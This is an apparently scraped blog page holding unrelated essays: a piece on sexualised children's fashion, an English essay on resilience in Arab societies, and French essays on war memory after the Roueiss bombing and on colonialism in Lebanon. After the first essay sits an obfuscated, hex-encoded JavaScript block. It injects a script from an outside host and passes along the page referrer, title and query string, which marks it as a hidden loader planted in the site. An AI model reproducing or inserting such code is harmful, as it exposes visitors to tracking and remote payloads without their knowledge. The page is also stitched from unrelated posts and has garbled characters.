How do mothers feel nowadays about the fashion industry, especially when it comes to childrena��s fashion?

When I was young, a little over a decade ago, my mother would be careful about how she dresses my sister and me. Girls would wear decent clothes. We wouldna��t see girls wearing tight t-shirts with explicit prints on them, we wouldna��t see girls wearing the shortest version of shorts or mini-skirts and we definitely wouldna��t see girls with make up on as a part of their daily routine. I remember when wea��d go to church wea��d cover up even more; girls wouldna��t wear sandals for example, and boys wouldna��t be in shorts and flannels. During beach season we had the simplest swimwear; simple shorts for boys and a one piece for girls or a two piece that wasna��t too revealing. Outings were about having fun, not being constricted in our outfit. We ran, we played, we swam and we didna��t worry about how we looked or what we wore. We didna��t argue about our clothes; we just wanted to wear our favorite color. Of course girls played with their mothersa�� make up kit, and boys dressed up in their dadsa�� suits and ties. But that was it. It was fun and that was the limit. We didna��t see girls go out in make-up or heels, we didna��t see them overdoing their hair on a daily basis, we didna��t see them doing their eyebrows and having lipstick on and plainly acting all grown up.

Today, when we go shopping at the mall, what do we really see? A little girl drags her mother to the stores that have, in my opinion, very unfitting clothes for kids. It seems to me that the fashion industry has taken everything that is made for adults and built mini sizes of it to be able to sell them to kids. Their childhood doesna��t exist anymore. They are jumping straight to adolescence, and it is worthy to mention that the age of puberty has gone back a couple of years. Girls are reaching puberty earlier nowadays, true, but do they have to look like mini Barbie models at that young of an age? With the curls in their hair, the eyeliner, the eye shadow, the lipstick and all the glossy things on their face, girls younger than 10 years old are trying so hard to look like women. Why the rush? It sounds to me that wea��re robbing them of the bit of innocence they should have at that age.

It really worries me how these girls are growing up, and whata��s going to become of them in the future. Will they put so much effort on looks and neglect the essence of things? And what will happen in the far future? What will happen when we have kids? Is it possible to change back all thata��s happened and not be driven by the age of technology and the trends of fashion while raising our kids? Cana��t we stimulate our daughters to consider Mulan as a role model instead of the Kardashians?

Rarely do I see girls with their mothers and they truly look like a family, not a plastic one to be specific though. And I have so much respect for those mothers, because in this society it is the mother that raises the child, and ita��s good to know that there are some families and some girls that have escaped the trend of looking like a Barbie doll and prettying themselves up for no reason or occasion. To you women, respect.

[hr]

Image source:A�www.aboutleb.com

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Toward Resilient Arab Societies

I was invited more than 10 years ago by an association of psychologists in Montreal (Quebec- Canada) to testify about my experience as a war survivor. The main theme was ‘Resilience’ and my hosts and colleagues defined it as having a positive attitude, optimism, and the ability to change one’s life even after a misfortune. I really thought I, like many other Lebanese, was blessed with such an outlook, i.e. finding a way to rise from the ashes, being knocked down by life and coming back stronger. That was and still is my fuel to carry on my studies while living in Canada, to go through the Summer 2006 combats with Israel, to conduct my researches on sensitive and taboo issues, to teach university students in Montreal and Beirut about religions, politics, interreligious/intercultural dialogue, war memory and peace, to pursue my offline and online activism for human rights/women’s rights…

I was taught to bounce back when something goes wrong, even if it takes time, energy, sacrifices. I was taught – and still trying to teach myself every day – to harness inner strength helping me rebound from a setback or a challenge, such as illness, misogyny and sexism, racism, death of loved ones, family crisis, emigration, political turmoil, and war…

I was taught and I believed and still believe that if I lack resilience, I might dwell on problems, feel victimized, become overwhelmed or turn to unhealthy coping mechanisms. I do not pretend that I succeed in being resilient at all levels and all the time, but at least I try. I learned that resilience won’t make problems go away, but it can give the ability to see past them, to find enjoyment in life and better handle stress.

Following the Roueiss explosion (southern suburbs of Beirut) which occurred few days ago and the countless tragedies in major countries in the Arab world– Syria, Egypt, Iraq, Palestine -, where thousands of individuals of different identities, generations and backgrounds are suffering, losing their homes, being tortured, raped, and killed, while others living in those countries or elsewhere are doing NOTHING, but just enjoying to the max their lives, or rejoicing to the sight of ‘enemies dropping like flies’…, I found myself asking this question: are Arabs resilient? And, in particular, are Lebanese resilient?

I know for a fact that there are resilient individuals, at least those whom I encountered, and those who fight relentlessly for peace. I also studied few cases of youth NGOs (2004-2007) and the work of Lebanese psychiatrists such as Adnan Houballah which proved the extensive war traumas within the Lebanese population, but also cases of resilient men and women in all communities. However, there aren’t enough resilient Lebanese to build a better future for their country. There aren’t enough resilient Arabs to build better Syria, Iraq, Egypt and Palestine. Turning one’s head away while others are suffering (“it’s not happening to me, nor to my family, so I’m not concerned”), offering baklavas and rejoicing while others are massacred, trivializing horrific deaths, blaming others, refusing to recognize one’s mistakes, playing the victim role, using psychological and-or physical violence, …: those are not resilient attitudes/outlooks/actions-reactions, and surely not constructive healthy practices on a national level. By following the ‘path of the ostrich’ or the ‘warlords’ game’, skills and strengths to cope and recover aren’t utilized; individuals and communities become overwhelmed by tragic experiences; they dwell on problems, experience more psychological distress, and aren’t able to break the cycle of violence.

I am not saying that resilience is the ONLY way to follow, nor that I – and others- am an example of resilience (I am surely not as resilient as I would like to be), but I believe in its effectiveness in tackling problems head on and overcoming adversity. It does not eliminate stress sources, nor does it erase life’s difficulties. But in the face of events that seem utterly unimaginable, resilient people and societies are able to marshal the strength to not just survive, but to prosper. And honestly, I do not wish for the Lebanese (and Arab) people – to ONLY or MERELY survive… I wish for them to become more resilient. I wish for resilient societies. I wish for those countries not to be failure dependent. A resilient society will be able to manage uncertainty, distress and conflicts. A resilient society means having caring and supportive relationships between citizens, having the common capacity to make realistic plans and take steps to carry them out.

How can a resilient society be built? I don’t have the answer. Developing resilience is a personal journey, people do not react the same to traumatic events. There are varying strategies, but at least a first step is to recognize this diversity of reactions; a second step is to make connections (within families, civic groups, faith-based organizations, other local groups providing social support and reclaiming hope) and assist others in their time of need; a third step would be to learn together how to interpret highly stressful events and to respond to these events, to take decisive actions, rather than detaching completely from problems and wishing they would just go away, and also to avoid blowing some events out of proportion; a fourth step would be to look for opportunities for self-discovery and heighten our appreciation of life as a result of our struggles with loss…

True there is no template to apply, no binary set of rules about what is and is not resilient. Instead, as futurist Andrew Zolli and journalist Ann Marie Healy conclude in ‘Resilience: Why Things Bounce Back’: “Resilience is often found in having just the right amounts of these properties – being connected, but not too connected; being diverse but not too diverse; being able to couple with other systems when it helps, but also being able to decouple from them when it hurts.”

We are, as Lebanese, and also as Syrians, Egyptians, Iraqis and Palestinians, likely to experience more shocks and conflicts in the future, on different fronts, with increasing intensity. If we do not capitalize on the windows of opportunities that such crises may offer, if we do not ensure that those dreadful moments of breakdown and decadence lead to renewal, if we do not work on bouncing back from catastrophes and bouncing forward (anticipate, prepare for, and avoid as far as possible the worst excesses of the next disruptions), if we do not do things better nor do better things, we will collapse.

En souvenir des victimes de guerre… Pour que cesse la folie meurtrière!

L’attentat à la voiture piégée à Roueiss (banlieue sud de Beyrouth) hier vendredi ayant fait plus de 20 morts et 250 blessés, n’est pas un incident ponctuel, un événement ‘sensationnel’ du moment, mais il fait partie de la tragédie libanaise, de la guerre continue au Liban voilà des décennies et son cortège de victimes, de souffrances, de traumatismes, de mémoires meurtries et meurtrières, lequel s’alourdit au fil du temps.
Chaque attentat apporte son lot de nouvelles plaies qui s’entassent sur les anciennes, de nouveaux chocs ravivant ceux qui précèdent. On a beau vouloir s’enfuir pour pouvoir survivre, on a beau vouloir oublier pour ne pas avoir mal, mais la violence finit par nous retrouver et marquer notre quotidien à divers niveaux, notre conscient, notre inconscient, nos gènes, notre culture, notre histoire, et nos futures générations.
La fin de l’été s’annonce triste au Liban, en Syrie, en Egypte, en Irak et en Palestine… Berceaux des trois monothéismes et des plus riches anciennes civilisations… Riches dans leurs patrimoines et leurs contributions socio-politiques et culturelles… Mais tellement pauvres aujourd’hui, enlisés dans la décadence, l’extrémisme, l’ignorance et la guerre.
La fin de l’été apporte avec elle le souvenir de tant de victimes, dont celle de mon beau-père, Gebrane Badine, assassiné le 10 septembre 2004 à Bagdad (cf. Scriptura Nouvelle Série (Faculté de Théologie et de Sciences de Religions de l’Université de Montréal, Québec, Canada). Vol.9-1, 2007, p.109-118).
A l’époque, la mort de Gebrane ainsi que de ses amis dont un couple de nouveaux mariés fit la une des journaux et provoqua un énorme traumatisme [2] auprès de ses proches et de ses amis. Dans quel but Gebrane fut-t-il assassiné ? Pour des raisons confessionnelles ? Gebran était chrétien grec-catholique dans un environnement à majorité islamique, mais les attentats qui devenaient de plus en plus fréquents en 2004 étaient perpétrés envers des individus et des collectivités de toutes confessions et appartenances. Pour des raisons politiques ? Gebrane n’était membre d’aucun parti ou mouvement politique. Pour des raisons d’intérêts stratégiques et de course au pouvoir entre des clans et des tribus au sein de Bagdad ? Dans ce cas, Gebran et ses collègues constitueraient ce que l’on qualifie en politique internationale de « dommages collatéraux » [3], ou alors de boucs émissaires dans une guerre qui n’était pas la leur.
A ce jour, la cause de la mort de Gebrane reste inconnue. Tel est également le cas des auteurs du crime. Ni la justice irakienne, ni celle libanaise ou même canadienne – Gebrane étant détenteur d’une double nationalité libano-canadienne – ne se sont penchées sur ce crime odieux advenu à Bagdad, capitale ensanglantée qui se meurt à grands feux. Après tout, qui est Gebrane ? Vaut-il la peine d’être remémoré ? Sa mort, à l’instar de beaucoup d’autres, compte-t-elle sur l’échiquier national, régional et international ? Les massacres perpétrés quotidiennement dans cette région, ne sont plus que des événements relégués aux oubliettes, des concours de circonstances, des accidents faisant partie du lot dit normal de la guerre. En ce sens, la mort de Gebrane ferait partie de l’ordre des choses, du cycle de la vie et de la mort. Elle ferait partie des tragédies enfouies dans les méandres de l’Histoire, jugées par des politiciens, des historiens, des institutions médiatiques et des peuples entiers, inaptes à porter le qualificatif de mal absolu, d’horreur extrême, et donc inaptes à être même pointées du doigt.Que de crimes commis contre l’humanité dans le passé et encore aujourd’hui sont sous-estimés, banalisés, oubliés, en dépit de la convention sur la prévention et la répression du crime de génocide adoptée par les Nations-Unies en 1948 et de la Convention de Genève stipulant la protection des civils en temps de guerre ? Ces nobles principes n’existent pas en pratique, et les civils souffrent en tous lieux : Vietnam, Hiroshima, Liban, Sarajevo, Rwanda, Palestine…Certes, l’on s’attarde parfois aux phénomènes dits massifs, mais si ce n’est pas le nombre de victimes qui pèse dans la balance, serait-ce leur qualité, leur nationalité, leur ethnie, leur religion ? Serait-ce une question de jeux de pouvoirs, d’intérêts? D’enjeux économiques, politiques, judiciaires ? De purification, d’unification, de sécurisation, de nettoyage ? D’implantation d’une quelconque démocratie ? De légitime défense ? Le fait d’États faibles ou alors d’États forts ?
Est-ce une poignée de juristes et d’experts qui sont habilités à nommer des génocides, des politicides[4] ou des démocides[5], des guerres justes ou injustes, légitimes ou illégitimes, et donc à reconnaître et faire reconnaître aux yeux de tous l’annihilation d’êtres humains ? Le terme « génocide » ne peut-il pas être la pièce maîtresse d’une rhétorique agressive contre un adversaire politique ? Ne sert-il pas à la fois de bouclier et d’épée ? Selon l’historien Steven Katz, le seul génocide ayant été perpétré dans l’Histoire est celui des juifs.[6] Alors que pour le psychologue Israël Charny, tout massacre est un génocide.[7] Les définitions de cette notion sont bien plus nombreuses. Il en est de même pour celles de tragédie, d’holocauste, de meurtre, de crime, de destruction involontaire ou d’intention de détruire, la part du calcul ou le passage à l’acte, la « froide » ou la « chaude » décision de massacre etc… : les avis se partagent. À ce jour, il n’existe aucun modus vivendi sur lequel se baser pour déterminer qui serait la victime, le bourreau, le calculateur, le procureur… et de surcroît, quelle mémoire faudrait-il sauver des décombres.
Pour ma part, toute guerre constitue un génocide, et tout être humain ayant péri de la folie meurtrière vaut la peine d’être remémoré, pour que justement cesse cette folie.Malheureusement, depuis la deuxième guerre mondiale, les recherches sur les traumatismes de guerre et la mémoire de la guerre se concentrent principalement sur la situation des militaires. Récemment, une panoplie de films et d’ouvrages ont mis l’accent sur le traumatisme vécu par les anciens combattants des deux premières guerres mondiales, du Vietnam et de la première guerre du Golfe.[8]Rares sont les recherches qui traitent des traumatismes vécus par ce que le psychiatre Libanais Adnan Houballah qualifie de combattants ou d’acteurs « passifs ». Il en est de même pour l’ensemble des individus et des collectivités victimes de violences extrêmes, et qui diffèrent des combattants « actifs » (armée, milices…), lesquels génèrent ces violences.[9] En ce sens, rares sont les études qui se concentrent sur le personnel, le psychosocial, l’humain, tels que représentés par les photographies de Rania Matar à travers le quotidien d’individus aux prises avec le lendemain des combats armés, ignorés et déshumanisés, souffrant de l’adaptation à la réalité de ce qu’ils ont perdu. Tel est notamment le cas au Liban, en Irak, en Syrie, en Egypte et en Palestine, ce qui constitue un obstacle majeur face à la déconstruction des traumatismes de guerre et au soin des blessures psychosociales.Or, la mise en œuvre de ce processus thérapeutique, tant au niveau individuel que collectif et national, est indispensable en vue de la construction de la paix et de la convivialité à long terme. En ce sens, il ne suffit pas de poursuivre des logiques de survie (assurer les besoins élémentaires), mais aussi des logiques que les ONGs qualifient d’immatérielles et qui sont multiples. En d’autres termes, il ne suffit pas de faire taire les canons et de s’engager dans un processus de ‘peacekeeping’ qui vise principalement les combattants « actifs », mais de s’engager dans un processus de ‘peacebuilding’ lequel vise surtout les acteurs « passifs » et a pour objectif de tisser des liens entre la diversité des composantes d’une société. Il est bien évident que l’irréparable – comme la mort de Gebrane – ne se répare pas et que le traumatisme ne s’efface pas. Toutefois, il s’agit de permettre de vivre avec le traumatisme et non pas dans le traumatisme, de se libérer du passé tout en s’attachant à construire et reconstruire des liens familiaux et sociaux protecteurs. Or, comment se libérer du passé si l’omerta est de rigueur?
Au Liban par exemple, il est habituellement demandé tant aux enfants qu’aux adultes de ne pas revenir sur le passé, de taire les blessures, de se murer dans un mutisme approbateur de la fatalité du destin, privilégiant la survie sociale et politique à la survie psychique et humaine. La société entière est soumise aux chuchotements et à l’autocensure qui font que la moindre pensée subversive est automatiquement réprimée. Cette omerta ou loi du silence est renforcée au niveau national par l’auto-amnistie des leaders de la guerre en 1991. En effet, la loi no.84 du 26 août 1991 a voulu voiler le passé récent en accordant une amnistie aux criminels pour tous les actes commis avant le 28 mars 1991. Cette loi fut élaborée en fonction de critères politiques et non des droits de l’Homme. Les ‘Seigneurs de la guerre’ – expression utilisée en politologie Libanaise – ont fait en sorte que leurs crimes soient oubliés. Or, suffit-il de d’affirmer que le passé n’existe plus en droit pour qu’il cesse d’exister dans la réalité et les consciences, pour que victimes et bourreaux se valent ?
L’oubli n’est qu’une illusion, le temps nous rattrape à grandes enjambées et la souffrance nous descend, même si nous tentons de fuir. « Gare au retour du refoulé ! », avait prévenu un célèbre architecte Libanais lors d’une conférence en février 2004 intitulée « Le centre-ville, exploit ou fracture? ». Comment tourner la page sur des milliers de morts, de blessés, de disparus, de déplacés, de prisonniers, d’émigrés forcés, de destructions, d’horreurs ? Comment dépasser la peur qui marque sa présence et la dépression qui suit la fin de l’espoir ? Comment envisager ce qui sera sans tenir compte de ce qui a été ?
« Je désire savoir où sont les choses futures et passées, si l’on peut dire qu’elles sont. Si cette connaissance est au-dessus de moi, au moins je suis assuré qu’en quelque lieu qu’elles soient, elles n’y sont ni futures ni passées, mais présentes, puisque si elles y sont futures, elles n’y sont pas encore, et que si elles y sont passées, elles n’y sont plus ».
Aux interrogations de Saint Augustin, dans les Confessions (livre XI, chapitre XVII), répondent certaines certitudes : si l’avenir n’est pas encore et si le passé n’est plus, celui-ci n’est pas sans influencer celui-là. En ce sens, un avenir pacifié ne peut être envisageable si la politique de la tabula rasa relevant de la terre brûlée est adoptée. Celui-ci requiert la reconnaissance de la douleur en la muant en souvenir fondateur qui puisse nous en affranchir, notamment en construisant une mémoire[10] individuelle et collective de la guerre. Dans cette perspective, la parole ou la mise en récit de l’événement traumatique occupe une place centrale dans le processus thérapeutique qui constitue la base du processus de ‘peacebuilding’ – construction de la paix. Donner un espace de parole, d’où l’on peut s’exprimer en toute sécurité et liberté, est indispensable pour passer de la simple reviviscence à la représentation, du souvenir au « ressouvenir » – un terme utilisé par Amin Maalouf[11] et qui signifie une réécriture, un déchiffrage, un dévoilement, un travail de critique et d’auto-critique (intériorisation), un projet herméneutique, un travail de deuil, un acte refondateur, une transformation – pour qu’on puisse dire les blessures, leur attribuer un sens, les comprendre et vivre avec.
La construction d’une mémoire individuelle et collective de la guerre accompagne nécessairement l’implantation d’un système judiciaire qui n’est pas fondamentalement axé sur la sanction mais sur la guérison des blessures. Telle est la différence entre la justice réparatrice telle qu’appliquée par exemple en Afrique du Sud et la justice punitive clamée haut et fort par des leaders Libanais depuis l’assassinat de l’ex-premier ministre Rafic Hariri en février 2005. Une commission Vérité et Réconciliation pourrait être pensée et implantée à long terme tant au Liban qu’en Irak, en Syrie, en Eygpte et en Palestine, et adaptée à leurs contextes respectifs.[12] Au Liban par exemple, elle pourrait se baser sur les valeurs du dialogue interreligieux longtemps pensé et pratiqué, tant dans le quotidien du peuple Libanais qu’en milieux académiques et institutionnels. Ces valeurs pourraient être élargies à une vision-pratique plus large de la convivialité inter-humaine, à l’instar de l’ubuntu africain, lequel exprime une attitude d’humanité à l’égard d’autrui et accorde une importance à la communauté humaine.[13]
En ce sens, le principe ‘œil pour œil, dent pour dent’ ou la culture de la vendetta sont remplacés par un processus réparateur impliquant toutes les parties, constituant une manière puissante d’aborder non seulement les préjudices matériels et physiques causés par les crimes, mais aussi les préjudices sociaux, psychologiques et relationnels. Cette démarche est centrée sur la victime, et la communauté et le dialogue en sont les éléments centraux. Le but n’est pas la vengeance, mais que la vérité soit connue et qu’une reconnaissance publique soit officiellement sanctionnée. Les auteurs de crimes de guerre ont beau répéter que personne n’entendra les victimes, que personne ne se soucie d’elles, que personne ne le saura jamais… D’où la nécessité de faire face à ce que le journaliste Lawrence Weschler qualifie d’ « instant primordial » :
« Qui était là ? Qui criait ? Qui se tenait aux côtés de la victime, et que faisaient-ils ? Qui, encore maintenant oserait écouter ses cris ? Qui souhaite le savoir ? Qui sera tenu responsable ? Et qui leur en demandera des comptes ? »[14]
Le but est donc la compréhension de ce qui s’est passé, l’établissement d’un état des lieux, des causes, de la nature et de l’étendue des dégâts, le dévoilement du passé sans complaisance et sans maquillage, l’apaisement social par le désamorçage des rancoeurs, la réhabilitation et la restauration de la dignité civile et humaine des victimes. La paix en soi et avec les autres est à ce prix. Tel fut le cas en Afrique du Sud, au Guatemala, au Maroc, etc. Tel peut être le cas au Liban en particulier et en Asie du Sud-Ouest en général. Sans cela, le massacre de centaines de milliers d’êtres humains, tel celui de Gebrane, tel celui de Roueiss, continuera d’être perpétré et la société restera empoisonnée par les maux passés qui réapparaîtront inévitablement dans l’avenir.
———————————————————
NOTES
[2] Le traumatisme peut se définir comme l’effet d’un événement qui sort de la norme et au cours duquel les défenses psychiques ont été submergées. A maints égards, on peut comparer cette expérience à une blessure émotionnelle. L’événement vécu laisse par la suite une cicatrice dont l’importance dépend de l’ampleur du choc vécu et du soutien reçu. Consulter à cet effet : http://www.aubonnebridge.net/data/traumaflier_fr.pdf; L.CROCQ, Les traumatismes psychiques de guerre, Paris, Odile Jacob, 1999.
[3] Ce type de vocabulaire est passé dans le langage militaire courant puis dans celui du politique et des médias pour cacher le massacre de populations civiles au cours de combats guerriers et qui devrait être qualifié de crime de guerre ou de crime contre l’humanité. Consulter à cet effet : I. VALE MAJERUS, De quel droit? Le Droit international humanitaire et les Dommages collatéraux, Paris, Le Serpent à plumes, 2003; G. ACHCAR, Le Choc des barbaries, Paris, Complexe, 2002.
[4] Le terme politicide est un néologisme signifiant littéralement « tuerie politique » et peut être utilisé pour définir un massacre de personnes pour des motivations politiques ou l’élimination d’une entité politique (Source : Wikipédia).
[5] Le terme démocide signifie « le meurtre d’une personne ou d’une population par un gouvernement, y compris le génocide, le politicide et les exécutions de masse » (Source : Wikipédia).
[6] Voir S. KATZ, The Holocaust in Historical Context, vol. 1, New York, Oxford University Press, 1994.
[7] Voir G. ANDREOPOULOS (ed.), Genocide: The Conceptual and Historical Dimensions, Philadelphia, University of Pennsylvania Press, 1994.
[8] Voir J.Y. LE NAOUR, The Living Unknown Soldier : A Story of Grief and the Great War, London, Metropolitan Books, 2004; T. NHU TANG, A Vietcong Memoir: An Inside Account of the Vietnam War and Its Aftermath, New York, Vintage, 1986; G. NICOSIA, Home to War: A History of the Vietnam Veteran’s Movement, New York, Caroll & Graf, 2004; M. HONG KINGSTON (ed.), Veterans of War, Veterans of Peace, Kihei (Hawai), Koa Books, 2006.
[9] Voir A. HOUBALLAH, Le virus de la violence, Paris, Albin Michel, 1996.
[10] Le terme « mémoire » est défini de multiples manières (polysémie que l’on trouve dans des travaux académiques : études culturelles, historiques, anthropologiques, psychologiques, sociologiques…). En témoignent les travaux fondateurs du sociologue français Maurice Halbwachs, de l’historien Pierre Nora, du sociologue américain Jeffrey Olick, etc. Voir M. HALBWACHS, On Collective Memory, Chicago, University of Chicago Press, 1992, p.51; P. NORA (dir.), Les lieux de mémoire, t.1-2-3, Paris, Gallimard, 1993 ; J. OLICK, In the House of the Hangman: The Agonies of German Defeat, 1943-1949, Chicago, University of Chicago Press, 2005; et “Genre Memories and Memory Genres: A Dialogical Analysis of May 8th, 1945 Commemorations in the Federal Republic of Germany”, American Sociological Review, no.64 (1999) p.381-402. Dans cet article, le terme « mémoire » est défini en tant que passage du souvenir ou de la simple reviviscence au ressouvenir, signifiant une réécriture, un déchiffrage, une mise en récit, une représentation, un dévoilement, un travail de critique et d’auto-critique (intériorisation), un projet herméneutique,, un travail de deuil, un acte refondateur et une transformation.
[11] Voir A. MAALOUF, Les identités meurtrières, Paris, Grasset, 1998; Origines, Paris, Grasset, 2004.
[12] Voir Truth and Reconciliation Commission of South Africa, Hampshire, Palgrave Macmillan, 1999.
[13] Voir M. BATTLE,. Reconciliation : The Ubuntu Theology of Desmond Tutu, Cleveland (Ohio), Pilgrim Press, 1997.
[14] Voir L. WESCHLER, ‘Afterword’, State Crimes: Punishment or Pardon, Queenstown, Aspen Institute, 1988, p.91-92.
[hr]

NOUS et le COLONIALISME : un divorce inconsommé!

L’analyse des guerres continues en Asie du Sud-Ouest – que l’on tient encore à nommer ‘Moyen-Orient’ en adoptant un concept eurocentriste – ne devrait pas faire fi de l’héritage du colonialisme du 20e siècle et du néo-colonialisme actuel. En tenir compte n’implique pas la déresponsabilisation des populations locales, mais je trouve aberrant de taxer celles-ci de ‘barbares’, ‘productrices de violence et de terrorisme’, tout en les pointant du doigt à chaque fois que le processus de paix tarde à voir le jour. L’héritage du colonialisme et l’influence/l’ingérence du néo-colonialisme marquent la pensée indigène et les rapports religions-politiques-sociétés.

L’étude du confessionnalisme au Liban révèle l’étendue du renforcement de ce dernier avec le mandat français par exemple, et l’exacerbation de l’identité religieuse/confessionnelle tout au long de la guerre physique des années 70 et 80 du siècle par les puissances régionales et internationales. En effet, colonialisme (et néo-colonialisme) et confessionnalisme sont traversés par des logiques d’exclusion et d’essentialisme à travers lesquelles ils maintiennent le statu quo colonialiste/confessionnaliste. Ils adoptent aussi des idéologies semblables de dichotomie de la société et de supériorité d’un groupe sur un autre: colons/colonisés, confessions/individus-collectivités non-confessionnels. En d’autres termes, on ne peut penser la sortie du confessionnalisme et donc le renouvellement de la gestion des diversités au Liban sans penser la sortie hors du colonialisme.

Pourquoi je parle de sortie hors du colonialisme? Car il me semble que la vision d’un héritage du colonialisme et donc la théorie stipulant que les luttes anti-coloniales appartiennent au passé – supplantées par les conflits entre les religions et le « choc ces civilisations » -, devrait être revisitée. Évidemment, si l’on conçoit le colonialisme comme l’œuvre de certaines puissances d’Europe au cours des derniers siècles, et compte tenu que depuis les années 40 à peu près, les sociétés de la région sud-ouest asiatique ont obtenu leurs indépendances respectives, on affirmera qu’elles sont entrées dans une nouvelle phase de l’histoire, dite post-coloniale, et que celle-ci est empreinte de conflits interreligieux, interethniques, civils, et à la rigueur, inter-régionaux. Or, pareille définition simplifie un processus plus complexe, impliquant une responsabilité européenne face au blocage actuel du processus de paix dans ces sociétés et aux nombreux problèmes engendrés par les politiques coloniales; processus qui implique même une responsabilité de la communauté internationale.

Aussi, lorsqu’on parle de colonialisme, évoque-t-on uniquement l’occupation militaire ou également d’autres types de relations: économiques, culturelles, symboliques – ossification des regards de l’altérité, catégorisation rigide pour asseoir l’exercice de domination, fabrication de clichés et de stéréotypes ne tenant pas compte des réalités du terrain, des souffrances d’individus et de collectivités, etc.? Que dire de l’impérialisme américain, de l’américanisation, de la politique volontariste d’exportation de la « démocratie » et de la contradiction continue des intérêts des gouvernements américains successifs dans cette région, dont le Liban, considérée dans leur découpage géopolitique comme étant de première priorité? Quelles sont les conséquences de la conception états-unienne du « Grand Moyen-Orient » sur le Liban?

Lorsqu’on parle des relations de la France avec le Liban, pourquoi le discours dominant qualifie-t-il celle-ci de « sœur » et de « protectrice », alors que ce n’est pas le cas vis-à-vis de la Syrie pour bien de libanais? La francisation ou la « mission civilisatrice » de la France dont la Francophonie est le modèle ne peut-elle pas être qualifiée d’occupation culturelle? Que dire du rôle de la France (lors du mandat et par la suite) dans le développement et le renforcement du confessionnalisme au Liban? D’ailleurs, la « mission libératrice » états-unienne et la « mission civilisatrice » européenne (et en particulier, française) ne se rejoignent-elles pas à bien des égards? Il me semble nécessaire de s’interroger sur les buts que se fixent les gouvernements américains et français au Liban. Si leur objectif est d’y établir une « vraie démocratie », comment celle-ci pourrait-elle se bâtir? En perpétuant les stéréotypes ethniques et confessionnels hérités de la période de la fin de l’empire ottoman et du mandat français, en divisant la société libanaise en confessions-nations? Stéréotypes encore utilisés par la plupart des partis et des courants politiques au Liban?

Aussi, n’est-il pas trop tôt pour parler de « post-colonialisme » et d’accompagner ce discours de « nouvelles configurations » autour de questions politiques, stratégiques et culturelles se basant sur une relation de « partenariat euro-méditerranéen »? D’autant plus que le projet de ces configurations est accompagné constamment de plaintes. Or, selon Luc Debieuvre: « Avant que l’Union Européenne fasse la liste de ce qu’elle estime être les faiblesses du monde arabe, avant qu’elle s’impatiente de la lenteur des réformes et de la modestie des objectifs ou des résultats (…), elle doit commencer par revoir de façon concrète comment elle pourrait aider les pays arabes à relever leurs défis » (« Le monde arabe à la mesure de ses défis »).

De plus, il me semble que le « partenariat euro-méditerranéen », sous-tendu par l’adage du « dialogue des cultures » prôné par l’Union Européenne, ne pourrait avoir un sens effectif que s’il avait pour objectifs de s’attaquer aux inégalités des échanges socio-économiques et culturels autour de la Méditerranée et de rendre possible la circulation humaine – voire la question de la difficulté de la mobilité et de l’accession aux visas par exemple.

Que dire de la Syrie qui occupait le Liban depuis 1976 – occupation que la Communauté Internationale a qualifiée jusqu’en 2004 de « protection-sororité » – et qui y exerçait les prérogatives d’une force coloniale, en contrôlant les fonctions publiques, l’économie et les processus politiques tant internes qu’externes? Les gouvernements libanais de l’époque en avaient souvent pris la défense, clamant que le Liban avait signé avec elle des accords de fraternité et de coopération en toute liberté et rappelant qu’elle contribuait effectivement à l’instauration de la paix civile, voire de la paix interconfessionnelle. Cette prépondérance fut tellement marquante qu’aucune décision n’était prise sans l’accord préalable des dirigeants syriens, ce qui se traduisait par un incessant ballet des responsables libanais entre Beyrouth et Damas.

